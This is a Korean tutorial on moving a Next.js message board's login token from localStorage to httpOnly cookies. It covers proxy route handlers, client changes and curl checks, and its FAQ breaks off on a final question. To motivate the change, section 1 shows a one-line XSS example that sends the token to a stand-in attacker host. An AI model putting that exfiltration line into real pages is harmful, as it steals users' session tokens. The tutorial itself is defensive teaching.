XSS 방지 게시판

🍪 한 단계 더 안전하게 — 토큰을 쿠키로 옮기는 튜토리얼
읽기 전에:
- 이 글은 기존 게시판 튜토리얼을 끝낸 사람을 위한 다음 단계 입니다.
- 지금 우리 코드는 로그인 토큰을
localStorage에 넣어둡니다. 이 글에서는 그 토큰을 httpOnly 쿠키로 옮겨서 XSS 공격에서도 토큰이 새지 않게 만듭니다. - 같은 폴더(
next-board)에서 파일을 고치는 작업 입니다. 새 프로젝트를 만들지 않아요.
목차
- 왜 굳이 옮기나요? — localStorage 와 XSS
- 쿠키, 한 줄로 정리
- 전체 그림 그려보기
- STEP 1. 서버 쿠키 헬퍼 만들기 —
lib/server-auth.ts - STEP 2. 인증 라우트 4개 만들기
- STEP 3. 게시글 라우트 4개 만들기
- STEP 4.
lib/api.ts갈아끼우기 - STEP 5.
lib/auth.ts갈아끼우기 - STEP 6. 각 페이지 수정
- STEP 7. 직접 확인 — curl 로 흐름 추적
- 정리 + 자주 묻는 질문
1. 왜 굳이 옮기나요? — localStorage 와 XSS
지금 우리 게시판은 로그인하면 받은 토큰을 이렇게 저장합니다.
localStorage.setItem("next-board.token", token);
편하고 잘 동작합니다. 그런데 한 가지 약점이 있어요. 누가 우리 페이지에 악성 JavaScript를 한 줄 끼워 넣을 수 있다고 해 봅시다.
// 공격자가 어떻게든 우리 페이지에서 실행되게 만든 코드 fetch("https://공격자.com/steal?t=" + localStorage.getItem("next-board.token"));
이 한 줄이면 토큰이 통째로 공격자한테 갑니다. 공격자는 그 토큰으로 사용자 본인인 척 글을 쓰고, 지우고, 다른 사람 글에 댓글을 답니다. 이렇게 페이지에 남의 JavaScript 가 끼어드는 공격을 XSS(Cross-Site Scripting) 이라고 불러요.
여기서 핵심:
localStorage는 같은 도메인의 어떤 JavaScript 든 마음대로 읽을 수 있습니다. 한 번 토큰을 거기에 넣으면, 페이지에 끼어든 모든 스크립트가 그 토큰을 볼 수 있어요.
해결의 큰 줄기: JavaScript 가 절대 못 읽는 곳에 토큰을 둔다. 그 곳이 바로 httpOnly 쿠키 입니다.
2. 쿠키, 한 줄로 정리
쿠키는 옛날부터 있는 브라우저 저장소예요. 우리가 localStorage 대신 쓰려는 이유는 옵션 두 개 때문입니다.
| 옵션 | 의미 |
|---|---|
HttpOnly | "JavaScript 에서는 읽지 마." 브라우저가 자동으로 막아줍니다. document.cookie 를 출력해도 이 쿠키는 안 보입니다. |
SameSite=Lax | "우리 사이트에서 출발한 요청에만 쿠키를 같이 보내라." 다른 사이트가 우리 API 를 호출하려 해도 쿠키가 안 따라갑니다 → CSRF 방어. |
비교 표:
| 저장소 | JS 접근 가능? | 자동 전송? | XSS 안전? |
|---|---|---|---|
localStorage | ✅ 가능 (위험) | ❌ 직접 헤더에 넣어야 | ❌ 토큰 노출 |
| 일반 쿠키 | ✅ 가능 | ✅ 자동 | ❌ 토큰 노출 |
| httpOnly 쿠키 | ❌ 불가능 | ✅ 자동 | ✅ 안전 |
httpOnly 쿠키는 JavaScript 가 읽을 수도 없고, 그렇다고 우리가 매번 헤더에 직접 붙일 필요도 없어요. 요청을 보낼 때 브라우저가 알아서 같이 보내줍니다. 우리는 그저 서버에서 쿠키를 한 번 심어 두기만 하면 됩니다.
3. 전체 그림 그려보기
새 흐름은 이렇게 바뀝니다.
[로그인] 브라우저 ── POST /api/auth/login (username, password) ──▶ Next 서버 라우트 │ ▼ 외부 API /auth/login 호출 │ ▼ 브라우저 ◀── Set-Cookie: next-board.token=...; HttpOnly ── Next 서버 라우트 (응답 본문에는 user 만 들어 있음, 토큰은 없음) [글쓰기] 브라우저 ── POST /api/posts (쿠키 자동 동봉) ──▶ Next 서버 라우트 │ ▼ 쿠키에서 토큰 꺼냄 Authorization: Bearer <token> │ ▼ 외부 API /posts
핵심:
- 클라이언트 코드는 토큰을 절대 본 적이 없어요. 로그인할 때도 응답 본문에 token 이 안 들어옵니다.
- Next 서버 라우트가 두 가지 역할을 합니다: ① 외부 API 와 클라이언트 사이의 중계, ② 쿠키 ↔ Authorization 헤더 변환.
만들 파일 8개:
src/ ├─ app/ │ └─ api/ │ ├─ auth/ │ │ ├─ login/route.ts ← Set-Cookie 로 토큰 심기 │ │ ├─ logout/route.ts ← 쿠키 삭제 │ │ ├─ me/route.ts ← 현재 로그인한 사용자 정보 │ │ └─ signup/route.ts ← 회원가입 프록시 │ └─ posts/ │ ├─ route.ts ← POST: 초안 생성 │ ├─ my/route.ts ← GET: 내 글 목록 │ └─ [id]/ │ ├─ route.ts ← PUT/DELETE: 수정/삭제 │ └─ publish/route.ts ← PUT: 발행 └─ lib/ └─ server-auth.ts ← 쿠키 헬퍼 + 프록시 헬퍼
기존 lib/api.ts, lib/auth.ts 와 각 페이지(login, signup, posts/new, posts/[id]/edit/EditForm.tsx, posts/[id]/_components/OwnerActions.tsx, my, components/Header.tsx) 도 손봅니다.
분량이 많아 보이지만, 새 파일은 거의 다 비슷한 패턴이에요. 첫 두 파일만 잘 읽으면 나머지는 복사 + 약간만 손보는 수준입니다.
4. STEP 1. 서버 쿠키 헬퍼 만들기 — lib/server-auth.ts
먼저 모든 서버 라우트가 같이 쓰는 도우미부터 만듭니다. 이 파일은 반드시 서버에서만 동작해요. (next/headers 와 next/server 를 씁니다.)
📄 새 파일 src/lib/server-auth.ts:
/** * 서버 전용 쿠키/프록시 헬퍼. * * - "use client" 파일에서 import 하면 안 됩니다. * - 토큰 쿠키, 유저 쿠키 둘 다 httpOnly 로 설정해서 * 브라우저 JavaScript 에서 절대 읽지 못하게 만듭니다 — XSS 방지. */ import { cookies } from "next/headers"; import { NextResponse } from "next/server"; import { API_BASE, type ApiEnvelope, type EduUser } from "./api"; export const AUTH_TOKEN_COOKIE = "next-board.token"; export const AUTH_USER_COOKIE = "next-board.user"; export const COOKIE_MAX_AGE_SECONDS = 60 * 60 * 24 * 7; // 7일 /** Set-Cookie 시 공통 옵션. */ export const cookieOptions = { httpOnly: true, // 로컬 개발(HTTP)에서는 false, 배포(HTTPS)에서는 true 가 됩니다. secure: process.env.NODE_ENV === "production", sameSite: "lax" as const, path: "/", maxAge: COOKIE_MAX_AGE_SECONDS, }; /** 서버 컴포넌트/라우트 핸들러에서 토큰 쿠키를 읽습니다. */ export async function getTokenFromCookies(): Promise<string | null> { const store = await cookies(); return store.get(AUTH_TOKEN_COOKIE)?.value ?? null; } /** 서버 컴포넌트/라우트 핸들러에서 유저 쿠키를 읽습니다. */ export async function getUserFromCookies(): Promise<EduUser | null> { const store = await cookies(); const raw = store.get(AUTH_USER_COOKIE)?.value; if (!raw) return null; try { return JSON.parse(raw) as EduUser; } catch { return null; } } /** * 외부 API 로 인증이 필요한 요청을 프록시 합니다. * 쿠키에 토큰이 없으면 401 응답을 만들어 던집니다. */ export async function proxyWithToken<T>( path: string, init: { method: string; body?: unknown } = { method: "GET" }, ): Promise<NextResponse> { const token = await getTokenFromCookies(); if (!token) { return NextResponse.json( { success: false, message: "로그인이 필요합니다." }, { status: 401 }, ); } const upstream = await fetch(`${API_BASE}${path}`, { method: init.method, headers: { "Content-Type": "application/json", Authorization: `Bearer ${token}`, }, body: init.body ? JSON.stringify(init.body) : undefined, cache: "no-store", }); const data = (await upstream.json().catch(() => null)) as | ApiEnvelope<T> | null; if (!upstream.ok || !data || data.success === false) { return NextResponse.json( { success: false, message: data?.message ?? `요청 실패 (${upstream.status})`, }, { status: upstream.status || 500 }, ); } return NextResponse.json({ success: true, data: data.data }); }
코드 한 줄씩 풀어 보기
🔹 await cookies()
Next.js 15 부터 cookies() 가 Promise 가 됐어요. 그래서 await 가 필요해요. cookies() 가 돌려주는 store 에서 store.get(이름) / store.set(이름, 값, 옵션) 으로 쿠키를 읽고 씁니다.
🔹 httpOnly: true — 가장 중요한 옵션. 브라우저 JavaScript 의 document.cookie 에 이 쿠키가 등장하지 않게 막습니다.
🔹 secure: process.env.NODE_ENV === "production"
배포(HTTPS) 환경에서만 secure 를 켭니다. 로컬은 http://localhost 라서 secure 가 켜져 있으면 쿠키가 안 심어져요.
🔹 sameSite: "lax" — CSRF 공격 완화. 우리 사이트에서 보낸 요청에만 쿠키가 따라갑니다.
🔹 proxyWithToken — 게시글 라우트 4개가 모두 이걸 부릅니다. 토큰을 꺼내 외부 API 에 Authorization: Bearer <token> 으로 붙이는 단순한 일이라서 한 군데로 모았어요.
5. STEP 2. 인증 라우트 4개 만들기
폴더 4개를 만들고 안에 route.ts 를 각각 하나씩 둡니다.
src/app/api/auth/ ├─ login/route.ts ├─ logout/route.ts ├─ me/route.ts └─ signup/route.ts
5-1. 로그인 — src/app/api/auth/login/route.ts
이 튜토리얼의 하이라이트 입니다. 토큰을 응답 본문이 아니라 Set-Cookie 헤더 로 돌려주는 부분이에요.
import { NextResponse, type NextRequest } from "next/server"; import { API_BASE, type ApiEnvelope, type EduUser } from "@/lib/api"; import { AUTH_TOKEN_COOKIE, AUTH_USER_COOKIE, cookieOptions, } from "@/lib/server-auth"; type LoginBody = { username?: string; password?: string }; export async function POST(request: NextRequest) { let body: LoginBody; try { body = (await request.json()) as LoginBody; } catch { return NextResponse.json( { success: false, message: "잘못된 요청 본문입니다." }, { status: 400 }, ); } if (!body.username || !body.password) { return NextResponse.json( { success: false, message: "아이디와 비밀번호를 모두 입력해주세요." }, { status: 400 }, ); } const upstream = await fetch(`${API_BASE}/auth/login`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ username: body.username, password: body.password, }), cache: "no-store", }); const data = (await upstream.json().catch(() => null)) as | ApiEnvelope<{ token: string; user: EduUser }> | null; if (!upstream.ok || !data || data.success === false) { return NextResponse.json( { success: false, message: data?.message ?? `로그인 실패 (${upstream.status})`, }, { status: upstream.status || 401 }, ); } const { token, user } = data.data; // 응답을 만들고, 그 응답에 쿠키를 심습니다. const res = NextResponse.json({ success: true, user }); res.cookies.set(AUTH_TOKEN_COOKIE, token, cookieOptions); res.cookies.set(AUTH_USER_COOKIE, JSON.stringify(user), cookieOptions); return res; }
핵심 두 줄:
res.cookies.set(AUTH_TOKEN_COOKIE, token, cookieOptions); res.cookies.set(AUTH_USER_COOKIE, JSON.stringify(user), cookieOptions);
응답 본문에는 { success: true, user } 만 있고 token 은 어디에도 없어요. 브라우저는 자동으로 Set-Cookie 헤더를 보고 쿠키를 저장합니다. 다음 요청부터 그 쿠키가 자동으로 함께 갑니다.
왜 user 까지 쿠키에?
로그인한 사용자의 닉네임을 헤더에 표시하려면 클라이언트가 user 정보를 알아야 해요. 그런데 user 정보를 (token 처럼) httpOnly 로 두면 JS 에서 못 읽잖아요? 그래서 별도의/api/auth/me라우트 를 만들어 거기서 user 쿠키를 읽어 JSON 으로 돌려줍니다. 클라이언트는fetch("/api/auth/me")한 번이면 user 를 얻을 수 있습니다.
5-2. 로그아웃 — src/app/api/auth/logout/route.ts
쿠키를 지우는 방법: 같은 이름으로 maxAge: 0 을 다시 set 합니다.
import { NextResponse } from "next/server"; import { AUTH_TOKEN_COOKIE, AUTH_USER_COOKIE } from "@/lib/server-auth"; export async function POST() { const res = NextResponse.json({ success: true }); res.cookies.set(AUTH_TOKEN_COOKIE, "", { path: "/", maxAge: 0 }); res.cookies.set(AUTH_USER_COOKIE, "", { path: "/", maxAge: 0 }); return res; }
5-3. 현재 사용자 — src/app/api/auth/me/route.ts
import { NextResponse } from "next/server"; import { getUserFromCookies } from "@/lib/server-auth"; export async function GET() { const user = await getUserFromCookies(); return NextResponse.json({ user }); }
이게 답니다. 쿠키가 없으면 { user: null } 을 돌려줍니다. 로그인 안 된 상태도 "비정상" 이 아니므로 200 으로 응답해요.
5-4. 회원가입 — src/app/api/auth/signup/route.ts
회원가입은 토큰이 없으니 쿠키도 안 심어요. 그냥 외부 API 로 프록시 합니다.
import { NextResponse, type NextRequest } from "next/server"; import { API_BASE, type ApiEnvelope, type EduUser } from "@/lib/api"; type SignupBody = { username?: string; password?: string; nickname?: string; }; export async function POST(request: NextRequest) { let body: SignupBody; try { body = (await request.json()) as SignupBody; } catch { return NextResponse.json( { success: false, message: "잘못된 요청 본문입니다." }, { status: 400 }, ); } const upstream = await fetch(`${API_BASE}/auth/signup`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(body), cache: "no-store", }); const data = (await upstream.json().catch(() => null)) as | ApiEnvelope<EduUser> | null; if (!upstream.ok || !data || data.success === false) { return NextResponse.json( { success: false, message: data?.message ?? `회원가입 실패 (${upstream.status})`, }, { status: upstream.status || 400 }, ); } return NextResponse.json({ success: true, user: data.data }); }
6. STEP 3. 게시글 라우트 4개 만들기
이번 4개는 모두 proxyWithToken 헬퍼를 부르기만 합니다. 짧고 비슷해요.
src/app/api/posts/ ├─ route.ts ← POST 새 초안 ├─ my/route.ts ← GET 내 글 └─ [id]/ ├─ route.ts ← PUT 수정 / DELETE 삭제 └─ publish/route.ts ← PUT 발행
6-1. src/app/api/posts/route.ts
import { proxyWithToken } from "@/lib/server-auth"; import type { PostDetail } from "@/lib/api"; export async function POST() { return proxyWithToken<PostDetail>("/posts", { method: "POST" }); }
6-2. src/app/api/posts/my/route.ts
import { proxyWithToken } from "@/lib/server-auth"; import type { PostListItem } from "@/lib/api"; export async function GET() { return proxyWithToken<PostListItem[]>("/posts/my", { method: "GET" }); }
6-3. src/app/api/posts/[id]/route.ts
import { NextResponse, type NextRequest } from "next/server"; import { proxyWithToken } from "@/lib/server-auth"; import type { PostDetail } from "@/lib/api"; type RouteContext = { params: Promise<{ id: string }> }; export async function PUT(request: NextRequest, ctx: RouteContext) { const { id } = await ctx.params; let body: unknown; try { body = await request.json(); } catch { return NextResponse.json( { success: false, message: "잘못된 요청 본문입니다." }, { status: 400 }, ); } return proxyWithToken<PostDetail>(`/posts/${id}`, { method: "PUT", body, }); } export async function DELETE(_request: NextRequest, ctx: RouteContext) { const { id } = await ctx.params; return proxyWithToken<null>(`/posts/${id}`, { method: "DELETE" }); }
🔹 ctx.params 도 Promise 라서 await 해야 합니다 (기존 페이지의 params 와 같은 규칙).
6-4. src/app/api/posts/[id]/publish/route.ts
import { NextResponse, type NextRequest } from "next/server"; import { proxyWithToken } from "@/lib/server-auth"; import type { PostDetail } from "@/lib/api"; type RouteContext = { params: Promise<{ id: string }> }; export async function PUT(request: NextRequest, ctx: RouteContext) { const { id } = await ctx.params; let body: unknown; try { body = await request.json(); } catch { return NextResponse.json( { success: false, message: "잘못된 요청 본문입니다." }, { status: 400 }, ); } return proxyWithToken<PostDetail>(`/posts/${id}/publish`, { method: "PUT", body, }); }
이 시점에 dev 서버가 떠 있다면 자동으로 새 라우트들이 인식됩니다. 다음 curl 한 줄로 미리 살아 있는지 확인해도 좋아요:
curl http://localhost:3000/api/auth/me # → {"user":null}
7. STEP 4. lib/api.ts 갈아끼우기
이제 클라이언트 코드가 외부 API 를 직접 부르지 않고 우리가 만든 내부 라우트를 부르도록 바꿉니다.
📄 src/lib/api.ts 전체를 아래로 교체:
export const API_BASE = "https://api.fullstackfamily.com/api/edu/ws-283fc1"; // ===== 응답 타입 ===== export type ApiEnvelope<T> = { success: boolean; message: string; data: T; }; export type PostListItem = { id: number; title: string; contentPreview: string | null; authorNickname: string; viewCount: number; commentCount: number; thumbnailUrl: string | null; publishedAt: string | null; createdAt: string; }; export type PostDetail = { id: number; title: string; content: string; status: "DRAFT" | "PUBLISHED" | "DELETED"; images: { id: number; url: string }[]; authorNickname: string; viewCount: number; commentCount: number; publishedAt: string | null; createdAt: string; }; export type PageResponse<T> = { content: T[]; totalElements: number; totalPages: number; number: number; size: number; first: boolean; last: boolean; }; export type EduUser = { id: number; username: string; nickname: string; createdAt: string; }; // =========================================================== // A. 외부 API 직접 호출 (토큰 불필요) // =========================================================== async function externalRequest<T>( path: string, options: RequestInit = {}, ): Promise<T> { const res = await fetch(`${API_BASE}${path}`, { ...options, headers: { "Content-Type": "application/json", ...(options.headers || {}), }, cache: "no-store", }); let body: ApiEnvelope<T> | null = null; try { body = (await res.json()) as ApiEnvelope<T>; } catch { throw new Error(`서버 응답이 JSON이 아닙니다 (${res.status})`); } if (!res.ok || !body || body.success === false) { throw new Error(body?.message || `요청 실패 (${res.status})`); } return body.data; } export function listPosts(page: number, size = 10) { return externalRequest<PageResponse<PostListItem>>( `/posts?page=${page}&size=${size}`, ); } export function getPost(id: number) { return externalRequest<PostDetail>(`/posts/${id}`); } // =========================================================== // B. 내부 라우트 호출 (토큰 쿠키 자동 첨부) // =========================================================== async function internalRequest<T>( path: string, options: RequestInit = {}, ): Promise<T> { const res = await fetch(path, { ...options, headers: { "Content-Type": "application/json", ...(options.headers || {}), }, cache: "no-store", credentials: "same-origin", }); const json = (await res.json().catch(() => null)) as | (Partial<ApiEnvelope<T>> & { user?: T }) | null; if (!res.ok || !json || json.success === false) { throw new Error(json?.message || `요청 실패 (${res.status})`); } if ("data" in json && json.data !== undefined) return json.data as T; if ("user" in json && json.user !== undefined) return json.user as T; return null as unknown as T; } // ----- 인증 ----- export function apiLogin(body: { username: string; password: string }) { return internalRequest<EduUser>(`/api/auth/login`, { method: "POST", body: JSON.stringify(body), }); } export function apiLogout() { return internalRequest<null>(`/api/auth/logout`, { method: "POST" }); } export async function apiMe(): Promise<EduUser | null> { const res = await fetch(`/api/auth/me`, { cache: "no-store", credentials: "same-origin", }); if (!res.ok) return null; const json = (await res.json().catch(() => null)) as | { user: EduUser | null } | null; return json?.user ?? null; } export function apiSignup(body: { username: string; password: string; nickname: string; }) { return internalRequest<EduUser>(`/api/auth/signup`, { method: "POST", body: JSON.stringify(body), }); } // ----- 게시글 (토큰 필요) ----- export function createDraft() { return internalRequest<PostDetail>(`/api/posts`, { method: "POST" }); } export function updatePost( id: number, body: { title: string; content: string }, ) { return internalRequest<PostDetail>(`/api/posts/${id}`, { method: "PUT", body: JSON.stringify(body), }); } export function publishPost( id: number, body: { title: string; content: string }, ) { return internalRequest<PostDetail>(`/api/posts/${id}/publish`, { method: "PUT", body: JSON.stringify(body), }); } export function deletePost(id: number) { return internalRequest<null>(`/api/posts/${id}`, { method: "DELETE" }); } export function listMyPosts() { return internalRequest<PostListItem[]>(`/api/posts/my`, { method: "GET" }); }
무엇이 달라졌나?
| 옛 코드 | 새 코드 |
|---|---|
createDraft(token) | createDraft() — 토큰 인자 사라짐 |
listMyPosts(token) | listMyPosts() |
login(body) (외부 API 직접) | apiLogin(body) (/api/auth/login 호출) |
| 새로 등장 | apiLogout(), apiMe(), apiSignup() |
credentials: "same-origin" — 이 옵션이 있어야 fetch 가 쿠키를 함께 보냅니다. (실은 동일 출처에선 기본값도 same-origin 이지만 명시해 두는 게 안전합니다.)
listPosts 와 getPost 는 토큰이 필요 없는 공개 조회 라서 그대로 외부 API 를 직접 부릅니다. 굳이 한 번 더 거칠 이유가 없어요.
8. STEP 5. lib/auth.ts 갈아끼우기
옛 lib/auth.ts 는 localStorage 를 만지는 함수만 들어 있었어요. 이제 그게 다 사라지니, 파일이 사실상 비어집니다.
이 파일을 통째로 지워도 동작은 합니다. 다만 이름을 깔끔하게 유지하기 위해 얇은 래퍼만 남깁시다.
📄 src/lib/auth.ts 전체를 아래로 교체:
/** * 클라이언트 측 인증 헬퍼. * * 토큰은 서버가 httpOnly 쿠키로만 관리합니다. * 브라우저 JavaScript 는 토큰 자체를 절대 볼 수 없습니다. */ export { apiLogin as signIn, apiLogout as signOut, apiMe as fetchCurrentUser, } from "./api";
세 함수 이름을 직관적으로 바꿔 줄 뿐입니다. signIn, signOut, fetchCurrentUser — 페이지 코드에서 읽기 좋게.
9. STEP 6. 각 페이지 수정
이제 페이지에서 옛 호출들을 새 호출로 바꿔야 합니다. 패턴은 단순합니다.
| 옛 호출 | 새 호출 |
|---|---|
saveAuth(token, user) | (그냥 signIn(...) 한 번 부르면 끝. 서버가 쿠키 심어줌) |
clearAuth() | await signOut() |
readUser() | await fetchCurrentUser() ← Promise! useEffect 안에서 |
readToken() 으로 가드 | 더 이상 토큰을 직접 읽지 않음. 라우트가 401 을 돌려주거나, 미리 fetchCurrentUser() 로 사용자 존재 여부 확인 |
createDraft(token) 등 | createDraft() (토큰 인자 제거) |
9-1. 로그인 페이지 — src/app/login/page.tsx
"use client"; import Link from "next/link"; import { useRouter } from "next/navigation"; import { useState } from "react"; import { signIn } from "@/lib/auth"; export default function LoginPage() { const router = useRouter(); const [username, setUsername] = useState(""); const [password, setPassword] = useState(""); const [error, setError] = useState(""); const [submitting, setSubmitting] = useState(false); async function handleSubmit(e: React.FormEvent) { e.preventDefault(); setError(""); setSubmitting(true); try { await signIn({ username, password }); // ⬅️ 이게 끝! router.push("/"); router.refresh(); } catch (err) { setError(err instanceof Error ? err.message : "로그인 실패"); setSubmitting(false); } } // ... (return JSX 부분은 동일) ... }
전체 JSX는 이전과 같습니다. 바뀐 부분은 saveAuth(token, user) 두 줄을 지우고 signIn({...}) 한 줄로 바꾼 것 뿐. 토큰이 응답에 없으니 그걸 받아 저장할 일도 없어요.
9-2. 회원가입 — src/app/signup/page.tsx
함수 이름만 signup 에서 apiSignup 으로 바뀝니다.
"use client"; import { apiSignup } from "@/lib/api"; // ... await apiSignup({ username, password, nickname });
9-3. 헤더 — src/components/Header.tsx
readUser() 는 동기적이었지만 fetchCurrentUser() 는 Promise 입니다. useEffect 안에서 then 으로 받습니다.
"use client"; import Link from "next/link"; import { usePathname, useRouter } from "next/navigation"; import { useEffect, useState } from "react"; import type { EduUser } from "@/lib/api"; import { fetchCurrentUser, signOut } from "@/lib/auth"; export default function Header() { const [user, setUser] = useState<EduUser | null>(null); const router = useRouter(); const pathname = usePathname(); useEffect(() => { let active = true; fetchCurrentUser().then((u) => { if (active) setUser(u); }); return () => { active = false; }; }, [pathname]); async function handleLogout() { await signOut(); setUser(null); router.push("/"); router.refresh(); } // ... (return JSX 동일) ... }
🔹 let active = true; ... return () => { active = false; }
이 패턴은 cleanup 이라고 부릅니다. 사용자가 페이지를 이미 떠났는데 fetch 응답이 늦게 도착해 setUser 를 부르려고 할 때 — 그걸 막아 줍니다. 처음에는 익숙하지 않을 수 있는데, "비동기 fetch + useEffect" 조합에서 거의 항상 같이 다니는 패턴이에요.
9-4. 새 글 작성 — src/app/posts/new/page.tsx
readToken() 으로 가드하던 부분을 fetchCurrentUser() 로 바꿉니다. 그리고 createDraft / publishPost 에서 토큰 인자를 제거합니다.
"use client"; import { useRouter } from "next/navigation"; import { useEffect, useState } from "react"; import { createDraft, publishPost } from "@/lib/api"; import { fetchCurrentUser } from "@/lib/auth"; export default function NewPostPage() { const router = useRouter(); const [ready, setReady] = useState(false); const [title, setTitle] = useState(""); const [content, setContent] = useState(""); const [error, setError] = useState(""); const [submitting, setSubmitting] = useState(false); useEffect(() => { let active = true; fetchCurrentUser().then((user) => { if (!active) return; if (!user) router.replace("/login"); else setReady(true); }); return () => { active = false; }; }, [router]); async function handleSubmit(e: React.FormEvent) { e.preventDefault(); setError(""); if (!title.trim()) { setError("제목을 입력해주세요."); return; } setSubmitting(true); try { const draft = await createDraft(); // ⬅️ 토큰 안 넘김 const published = await publishPost(draft.id, { title, content }); router.push(`/posts/${published.id}`); router.refresh(); } catch (err) { setError(err instanceof Error ? err.message : "발행 실패"); setSubmitting(false); } } if (!ready) { return ( <div className="max-w-3xl mx-auto px-4 py-12 text-center text-gray-500"> 확인 중... </div> ); } // ... (form JSX 동일) ... }
9-5. 수정/삭제 버튼 — src/app/posts/[id]/_components/OwnerActions.tsx
"use client"; import { useRouter } from "next/navigation"; import Link from "next/link"; import { useEffect, useState } from "react"; import { deletePost } from "@/lib/api"; import { fetchCurrentUser } from "@/lib/auth"; export default function OwnerActions({ postId, authorNickname }: { postId: number; authorNickname: string }) { const router = useRouter(); const [myNickname, setMyNickname] = useState<string | null>(null); const [deleting, setDeleting] = useState(false); useEffect(() => { let active = true; fetchCurrentUser().then((user) => { if (active) setMyNickname(user?.nickname ?? null); }); return () => { active = false; }; }, []); const isMine = myNickname !== null && myNickname === authorNickname; if (!isMine) return null; async function handleDelete() { if (deleting) return; if (!confirm("정말 이 글을 삭제할까요?")) return; setDeleting(true); try { await deletePost(postId); // ⬅️ 토큰 안 넘김 router.push("/"); router.refresh(); } catch (e) { alert(e instanceof Error ? e.message : "삭제 실패"); setDeleting(false); } } // ... (버튼 JSX 동일) ... }
9-6. 수정 폼 — src/app/posts/[id]/edit/EditForm.tsx
"use client"; import { useRouter } from "next/navigation"; import { useEffect, useState } from "react"; import { updatePost } from "@/lib/api"; import { fetchCurrentUser } from "@/lib/auth"; export default function EditForm(props: { /* 동일 */ }) { // ... state 동일 ... useEffect(() => { let active = true; fetchCurrentUser().then((me) => { if (active) setAllowed(me !== null && me.nickname === props.authorNickname); }); return () => { active = false; }; }, [props.authorNickname]); async function handleSubmit(e: React.FormEvent) { e.preventDefault(); setError(""); if (!title.trim()) { setError("제목을 입력해주세요."); return; } setSubmitting(true); try { await updatePost(props.postId, { title, content }); // ⬅️ 토큰 안 넘김 router.push(`/posts/${props.postId}`); router.refresh(); } catch (err) { setError(err instanceof Error ? err.message : "수정 실패"); setSubmitting(false); } } // ... (JSX 동일) ... }
9-7. 내 글 목록 — src/app/my/page.tsx
listMyPosts() 는 이제 인자가 없습니다. 미로그인은 401 응답으로 알 수 있어요.
"use client"; import Link from "next/link"; import { useEffect, useState } from "react"; import { listMyPosts, type PostListItem } from "@/lib/api"; export default function MyPostsPage() { const [posts, setPosts] = useState<PostListItem[] | null>(null); const [error, setError] = useState(""); const [needLogin, setNeedLogin] = useState(false); useEffect(() => { let active = true; listMyPosts() .then((data) => { if (active) setPosts(data); }) .catch((e) => { if (!active) return; const msg = e instanceof Error ? e.message : "불러오기 실패"; if (msg.includes("로그인")) setNeedLogin(true); else setError(msg); }); return () => { active = false; }; }, []); // ... (JSX 동일) ... }
10. STEP 7. 직접 확인 — curl 로 흐름 추적
dev 서버를 띄워 둔 상태에서, 별도 터미널에서 차례로 실행합니다.
npm run dev # 별 터미널에서
10-1. 미로그인 — me 라우트는 null
curl http://localhost:3000/api/auth/me # 기대: {"user":null}
10-2. 회원가입 → 로그인 (쿠키 저장)
TS=$(date +%s) curl -X POST http://localhost:3000/api/auth/signup \ -H "Content-Type: application/json" \ -d "{\"username\":\"tut$TS\",\"password\":\"test1234\",\"nickname\":\"테스트$TS\"}" # 기대: {"success":true,"user":{...}} curl -X POST http://localhost:3000/api/auth/login \ -H "Content-Type: application/json" \ -d "{\"username\":\"tut$TS\",\"password\":\"test1234\"}" \ -c /tmp/board-cookies.txt # 쿠키 저장 # 기대: {"success":true,"user":{...}} (token 없음!)
중요: 응답 본문에 token 이 보이지 않아야 정상입니다. 헤더에서만 보입니다:
curl -D - -X POST http://localhost:3000/api/auth/login -H "Content-Type: application/json" \ -d "{\"username\":\"tut$TS\",\"password\":\"test1234\"}" -o /dev/null | grep -i set-cookie # 기대: set-cookie: next-board.token=eyJ...; HttpOnly; SameSite=lax # set-cookie: next-board.user=...; HttpOnly; SameSite=lax
10-3. 쿠키 들고 인증 라우트 호출
curl http://localhost:3000/api/auth/me -b /tmp/board-cookies.txt # 기대: {"user":{...}} curl http://localhost:3000/api/posts/my -b /tmp/board-cookies.txt # 기대: {"success":true,"data":[]} curl -X POST http://localhost:3000/api/posts -b /tmp/board-cookies.txt # 기대: {"success":true,"data":{"id":..., "status":"DRAFT", ...}}
10-4. 로그아웃 → 401
curl -X POST http://localhost:3000/api/auth/logout -b /tmp/board-cookies.txt -c /tmp/board-cookies.txt # 기대: {"success":true} (응답에 Set-Cookie: Max-Age=0) curl -i http://localhost:3000/api/posts/my -b /tmp/board-cookies.txt | head -3 # 기대: HTTP/1.1 401 Unauthorized
10-5. 브라우저에서도 확인
http://localhost:3000/login에서 로그인- 개발자도구 → Application → Cookies →
localhost클릭 next-board.token,next-board.user두 개가 보이고, HttpOnly 컬럼에 ✓ 가 있어야 합니다.- 개발자도구 → Application → Local Storage →
localhost - 아무것도 없어야 합니다. (옛 코드에 있던
next-board.token키가 사라짐) - 콘솔에서
document.cookie입력 → 빈 문자열 이 나옵니다. JavaScript 는 토큰 쿠키를 못 봅니다.
이 마지막 두 가지가 우리가 만든 보안의 결과물이에요.
11. 정리 + 자주 묻는 질문
무엇을 배웠나
| 개념 | 어디서 썼지? |
|---|---|
| httpOnly 쿠키 | JS 가 못 읽는 토큰 저장소 — lib/server-auth.ts |
Route Handler (app/api/.../route.ts) | 외부 API 와 클라이언트 사이의 중계자 |
cookies() (next/headers) | 서버에서 쿠키 읽고 쓰기 |
NextResponse.cookies.set | 응답에 Set-Cookie 헤더 심기 |
credentials: "same-origin" | fetch 시 쿠키 함께 보내기 |
| fetch 로 본인 정보 가져오기 | 헤더, OwnerActions, EditForm 의 useEffect |
자주 만나는 에러
Q. 로그인이 됐는데 헤더에 닉네임이 안 떠요.
→ Header.tsx 의 useEffect 의존성이 [pathname] 이 맞는지 확인. 그리고 로그인 페이지에서 router.refresh() 를 부르고 있는지 확인.
Q. cookies() is async 또는 await is required 에러
→ await cookies() 를 안 했어요. 함수도 async 로 선언했는지 확인.
Q. curl ... -i 했더니 Set-Cookie 가 안 보여요
→ 그러면 로그인이 실패한 것입니다. 응답 본문의 message 를 읽고 username/password 가 맞는지 확인.
Q. 브라우저에서 로그인이 됐다고 하는데 새로고침하면 풀려요.
→ 로컬에서 secure: true 가 켜져 있을 수 있어요. cookieOptions 의 secure 는 반드시 process.env.NODE_ENV === "production" 으로 두세요. https 가 아닌 곳에선 secure 쿠키가 저장되지 않습니다.
Q. /api/posts/my 가 항상 401 입니다.
→ fetch 에 credentials: "same-origin" 이 들어 있는지 확인. (이 튜토리얼에서는 internalRequest 헬퍼가 자동으로 넣어 줍니다.)
Q. 옛 localStorage 데이터를 정리해야 하나요?
